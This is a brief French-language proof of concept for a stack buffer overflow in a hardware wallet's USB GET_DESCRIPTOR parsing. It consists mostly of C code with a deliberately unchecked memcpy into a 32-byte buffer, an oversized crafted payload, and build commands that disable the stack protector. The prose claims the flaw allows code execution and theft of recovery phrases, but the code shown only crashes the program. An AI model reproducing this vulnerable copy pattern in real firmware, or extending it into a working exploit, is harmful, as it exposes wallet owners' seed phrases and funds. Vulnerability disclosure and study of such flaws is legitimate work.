
PoC de dépassement de tampon sur la pile pour un analyseur de descripteurs USB de portefeuille matériel (CVE-2026-22013), montrant l'écrasement de l'adresse de retour et l'exécution de code via un payload GET_DESCRIPTOR de taille excessive.
// hw_wallet_usb.c - USB descriptor parsing with fixed buffer
#include <string.h>
void handle_usb_setup(char *data, int len) {
char descriptor[32];
if (len > 0 && data[0] == 0x06) { // GET_DESCRIPTOR
// Copy descriptor payload without bounds check
memcpy(descriptor, data+1, len-1); // overflow if len>33
}
}
int main() {
char malicious[64];
memset(malicious, 'A', 63);
malicious[0] = 0x06;
handle_usb_setup(malicious, 64);
return 0;
}
La pile USB d'un portefeuille matériel présente un débordement de tampon de pile lors de l'analyse d'une requête GET_DESCRIPTOR avec une charge utile surdimensionnée. Un attaquant disposant d'un accès USB physique peut exploiter cette faille pour écraser l'adresse de retour et obtenir l'exécution de code, permettant d'extraire les phrases de récupération.
Compilez pour l'architecture cible et exécutez (simulation) :
gcc -o hw_wallet_usb hw_wallet_usb.c -fno-stack-protector
./hw_wallet_usb
Le programme plante en raison de la corruption de la pile.